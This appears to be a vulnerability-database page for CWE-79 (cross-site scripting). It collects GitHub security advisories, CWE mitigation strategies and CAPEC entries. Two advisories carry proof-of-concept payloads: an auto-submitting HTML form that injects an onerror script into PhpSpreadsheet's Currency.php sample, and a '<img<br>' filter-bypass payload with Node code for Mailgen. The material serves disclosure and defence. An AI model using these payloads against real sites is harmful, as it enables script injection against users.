CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68772 vulnerabilities reference this CWE, most recent first.
GHSA-J2W9-XGPF-CCM7
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Unauthenticated Cross Site Scripting (XSS) in Everest Forms <= 3.4.8 versions.
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"details": "Unauthenticated Cross Site Scripting (XSS) in Everest Forms \u003c= 3.4.8 versions.",
"id": "GHSA-j2w9-xgpf-ccm7",
"modified": "2026-06-26T15:32:17Z",
"published": "2026-06-26T15:32:17Z",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57312"
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"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/everest-forms/vulnerability/wordpress-everest-forms-plugin-3-4-8-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
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}
GHSA-J2WH-MVQJ-RMVP
Vulnerability from github – Published: 2025-05-20 18:30 – Updated: 2025-05-20 18:30In JetBrains TeamCity before 2025.03.2 stored XSS via GitHub Checks Webhook was possible
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"details": "In JetBrains TeamCity before 2025.03.2 stored XSS via GitHub Checks Webhook was possible",
"id": "GHSA-j2wh-mvqj-rmvp",
"modified": "2025-05-20T18:30:58Z",
"published": "2025-05-20T18:30:58Z",
"references": [
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"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47851"
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"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
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"schema_version": "1.4.0",
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"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J2WH-RP49-235F
Vulnerability from github – Published: 2026-03-18 09:30 – Updated: 2026-03-18 09:30A stored cross‑site scripting (XSS) vulnerability in the Link Aggregation configuration interface allows an unauthenticated remote attacker to create a trunk entry containing malicious HTML/JavaScript code. When the affected page is viewed, the injected script executes in the context of the victim’s browser, enabling unauthorized actions such as interface manipulation. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user.
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"details": "A stored cross\u2011site scripting (XSS) vulnerability in the Link Aggregation configuration interface allows an unauthenticated remote attacker to create a trunk entry containing malicious HTML/JavaScript code. When the affected page is viewed, the injected script executes in the context of the victim\u2019s browser, enabling unauthorized actions such as interface manipulation. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user.",
"id": "GHSA-j2wh-rp49-235f",
"modified": "2026-03-18T09:30:28Z",
"published": "2026-03-18T09:30:28Z",
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"url": "https://certvde.com/de/advisories/VDE-2025-104"
}
],
"schema_version": "1.4.0",
"severity": [
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J2WP-JM3G-6F93
Vulnerability from github – Published: 2024-09-21 09:31 – Updated: 2024-09-21 09:31The MC4WP: Mailchimp for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.9.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
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"details": "The MC4WP: Mailchimp for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.9.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.",
"id": "GHSA-j2wp-jm3g-6f93",
"modified": "2024-09-21T09:31:11Z",
"published": "2024-09-21T09:31:11Z",
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"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8680"
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"type": "WEB",
"url": "https://github.com/ibericode/mailchimp-for-wordpress/commit/60c6bfc260a7974f791af1d4ad4a032a3e0bdd3c"
},
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"type": "WEB",
"url": "https://github.com/ibericode/mailchimp-for-wordpress/blob/main/includes/views/parts/lists-overview-details.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mailchimp-for-wp/trunk/includes/views/parts/lists-overview-details.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3153075%40mailchimp-for-wp%2Ftrunk\u0026old=3149806%40mailchimp-for-wp%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
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"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa464547-0380-4b91-a5ea-0cd9a66da7a7?source=cve"
}
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GHSA-J2WW-8383-6MW8
Vulnerability from github – Published: 2024-08-31 09:30 – Updated: 2024-09-13 21:31The WPZOOM Portfolio Lite – Filterable Portfolio Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘align’ attribute within the 'wp:wpzoom-blocks' Gutenberg block in all versions up to, and including, 1.4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
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"CVE-2024-8276"
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"details": "The WPZOOM Portfolio Lite \u2013 Filterable Portfolio Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018align\u2019 attribute within the \u0027wp:wpzoom-blocks\u0027 Gutenberg block in all versions up to, and including, 1.4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-j2ww-8383-6mw8",
"modified": "2024-09-13T21:31:21Z",
"published": "2024-08-31T09:30:44Z",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8276"
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"url": "https://plugins.trac.wordpress.org/browser/wpzoom-portfolio/trunk/build/blocks/portfolio-layouts/index.php#L63"
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"url": "https://plugins.trac.wordpress.org/changeset/3144394"
},
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"type": "WEB",
"url": "https://wordpress.org/plugins/wpzoom-portfolio/#developers"
},
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"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2e7d5503-0a6e-4611-bb7c-b2871be828be?source=cve"
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"type": "CVSS_V3"
}
]
}
GHSA-J2X5-3GM7-6VFX
Vulnerability from github – Published: 2022-05-05 02:49 – Updated: 2022-05-05 02:49Cross-site scripting (XSS) vulnerability in IBM WebSphere Message Broker 7.0 before 7.0.0.6 and 8.0 before 8.0.0.2, when wsdl support is enabled on a SOAPInput node, allows remote attackers to inject arbitrary web script or HTML via a wsdl request that is not properly handled during construction of an error message.
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"details": "Cross-site scripting (XSS) vulnerability in IBM WebSphere Message Broker 7.0 before 7.0.0.6 and 8.0 before 8.0.0.2, when wsdl support is enabled on a SOAPInput node, allows remote attackers to inject arbitrary web script or HTML via a wsdl request that is not properly handled during construction of an error message.",
"id": "GHSA-j2x5-3gm7-6vfx",
"modified": "2022-05-05T02:49:08Z",
"published": "2022-05-05T02:49:08Z",
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"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0466"
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"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/81062"
},
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"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1IC89383"
},
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"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21623316"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J2XF-P274-G8CC
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-06-02 15:52The file preview functionality in Jirafeau < 4.4.0, which is enabled by default, could be exploited for cross site scripting. An attacker could upload image/svg+xml files containing JavaScript. When someone visits the File Preview URL for this file, the JavaScript inside of this image/svg+xml file will be executed in the users' browser.
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"github_reviewed_at": "2022-06-02T15:52:33Z",
"nvd_published_at": "2022-05-17T14:15:00Z",
"severity": "MODERATE"
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"details": "The file preview functionality in Jirafeau \u003c 4.4.0, which is enabled by default, could be exploited for cross site scripting. An attacker could upload image/svg+xml files containing JavaScript. When someone visits the File Preview URL for this file, the JavaScript inside of this image/svg+xml file will be executed in the users\u0027 browser.",
"id": "GHSA-j2xf-p274-g8cc",
"modified": "2022-06-02T15:52:33Z",
"published": "2022-05-18T00:00:45Z",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30110"
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"type": "PACKAGE",
"url": "https://gitlab.com/mojo42/Jirafeau"
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"type": "WEB",
"url": "https://gitlab.com/mojo42/Jirafeau/-/merge_requests/103"
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
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"summary": "Cross-site Scripting in Jirafeau"
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GHSA-J2XG-CJCX-4677
Vulnerability from github – Published: 2025-01-03 17:06 – Updated: 2025-03-06 18:18Unauthorized Reflected XSS in Currency.php file
Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, controlled by an attacker.
Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
<input type="hidden" name="number" value="1234.5678" />
<input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" />
<input type="hidden" name="decimals" value="2" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="spacing" value="0" />
<input type="hidden" name="submit" value="Display Mask" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
Figure 10. Executing arbitrary JavaScript code
Credit
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
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"details": "# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n\n\n*Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n \u003cbody\u003e\n \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026apos;\u0026quot;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n\u003cimg width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" /\u003e\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
"id": "GHSA-j2xg-cjcx-4677",
"modified": "2025-03-06T18:18:55Z",
"published": "2025-01-03T17:06:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56409"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
},
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"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
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],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file"
}
GHSA-J2XJ-H7W5-R7VP
Vulnerability from github – Published: 2025-09-22 18:03 – Updated: 2025-09-23 20:50HTML Injection and XSS Filter Bypass in Plaintext Emails
Summary
An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email); method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).
Vulnerability Analysis
The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.
// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
// Plaintext theme not cached?
if (!this.cachedPlaintextTheme) {
throw new Error('An error was encountered while loading the plaintext theme.');
}
// Parse email params and get back an object with data to inject
var ejsParams = this.parseParams(params);
// Render the plaintext theme with ejs, injecting the data accordingly
var output = ejs.render(this.cachedPlaintextTheme, ejsParams);
// Definition of the <br /> tag as a regex pattern
var breakTag = /(?:\<br\s*\/?\>)/g;
var breakTagPattern = new RegExp(breakTag);
// Check the plaintext for html break tag, maintains backwards compatiblity
if (breakTagPattern.test(this.cachedPlaintextTheme)) {
// Strip all linebreaks from the rendered plaintext
output = output.replace(/(?:\r\n|\r|\n)/g, '');
// Replace html break tags with linebreaks
output = output.replace(breakTag, '\n');
// Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
output = output.replace(/^(?: |\t)*/gm, "");
}
// Strip all HTML tags from plaintext output
output = output.replace(/<.+?>/g, '');
// Decode HTML entities such as ©
output = he.decode(output);
// All done!
return output;
};
The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.
A valid payload is: <img<br> src=xyz onerror=alert(1)>.
Proof of Concept
var Mailgen = require('mailgen');
var mailGenerator = new Mailgen({
theme: 'default',
product: {
name: 'Mailgen',
link: 'https://mailgen.js/'
}
});
var email = {
body: {
name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',
intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
action: {
instructions: 'To get started with Mailgen, please click here:',
button: {
color: '#22BC66',
text: 'Confirm your account',
link: 'secret-link'
}
},
outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
}
};
// Generate the plaintext version of the e-mail
var emailText = mailGenerator.generatePlaintext(email);
// Optionally, preview the generated plaintext e-mail
require('fs').writeFileSync('emailText.txt', emailText, 'utf8');
Resulting output file (emailText.txt):
Hi John <img
src=xyz onerror=alert(document.body.innerHTML)> Appleseed,
Welcome to Mailgen! We're very excited to have you on board.
To get started with Mailgen, please click here:
secret-link
Need help, or have questions? Just reply to this email, we'd love to help.
Yours truly,
Mailgen
© 2025 Mailgen. All rights reserved.
Mitigation
The vulnerability has been patched in commit 741a019 and released to npm in version 2.0.30.
Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.
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"details": "# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n // Plaintext theme not cached?\n if (!this.cachedPlaintextTheme) {\n throw new Error(\u0027An error was encountered while loading the plaintext theme.\u0027);\n }\n \n // Parse email params and get back an object with data to inject\n var ejsParams = this.parseParams(params);\n\n // Render the plaintext theme with ejs, injecting the data accordingly\n var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n // Definition of the \u003cbr /\u003e tag as a regex pattern\n var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n var breakTagPattern = new RegExp(breakTag);\n\n // Check the plaintext for html break tag, maintains backwards compatiblity\n if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n // Strip all linebreaks from the rendered plaintext\n output = output.replace(/(?:\\r\\n|\\r|\\n)/g, \u0027\u0027);\n\n // Replace html break tags with linebreaks\n output = output.replace(breakTag, \u0027\\n\u0027);\n\n // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n output = output.replace(/^(?: |\\t)*/gm, \"\");\n }\n\n // Strip all HTML tags from plaintext output\n output = output.replace(/\u003c.+?\u003e/g, \u0027\u0027);\n\n // Decode HTML entities such as \u0026copy;\n output = he.decode(output);\n\n // All done!\n return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `\u003cimg\u003cbr\u003e src=xyz onerror=alert(1)\u003e`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require(\u0027mailgen\u0027);\n\nvar mailGenerator = new Mailgen({\n theme: \u0027default\u0027,\n product: {\n name: \u0027Mailgen\u0027,\n link: \u0027https://mailgen.js/\u0027\n }\n});\n\nvar email = {\n body: {\n name: \u0027John \u003cimg\u003cbr\u003e src=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed\u0027,\n intro: \u0027Welcome to Mailgen! We\\\u0027re very excited to have you on board.\u0027,\n action: {\n instructions: \u0027To get started with Mailgen, please click here:\u0027,\n button: {\n color: \u0027#22BC66\u0027,\n text: \u0027Confirm your account\u0027,\n link: \u0027secret-link\u0027\n }\n },\n outro: \u0027Need help, or have questions? Just reply to this email, we\\\u0027d love to help.\u0027\n }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire(\u0027fs\u0027).writeFileSync(\u0027emailText.txt\u0027, emailText, \u0027utf8\u0027);\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John \u003cimg\nsrc=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed,\n\nWelcome to Mailgen! We\u0027re very excited to have you on board. \n\nTo get started with Mailgen, please click here: \nsecret-link \n\nNeed help, or have questions? Just reply to this email, we\u0027d love to help. \n\nYours truly, \nMailgen\n\n\u00a9 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.",
"id": "GHSA-j2xj-h7w5-r7vp",
"modified": "2025-09-23T20:50:37Z",
"published": "2025-09-22T18:03:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59526"
},
{
"type": "WEB",
"url": "https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d"
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"type": "PACKAGE",
"url": "https://github.com/eladnava/mailgen"
}
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailgen: HTML injection vulnerability in plaintext e-mails"
}
GHSA-J2XM-J8HG-JMH2
Vulnerability from github – Published: 2025-04-03 15:31 – Updated: 2026-04-01 18:34Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in cheesefather Botnet Attack Blocker allows Stored XSS. This issue affects Botnet Attack Blocker: from n/a through 2.0.0.
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"affected": [],
"aliases": [
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"nvd_published_at": "2025-04-03T14:15:41Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in cheesefather Botnet Attack Blocker allows Stored XSS. This issue affects Botnet Attack Blocker: from n/a through 2.0.0.",
"id": "GHSA-j2xm-j8hg-jmh2",
"modified": "2026-04-01T18:34:28Z",
"published": "2025-04-03T15:31:18Z",
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{
"type": "WEB",
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}
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}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
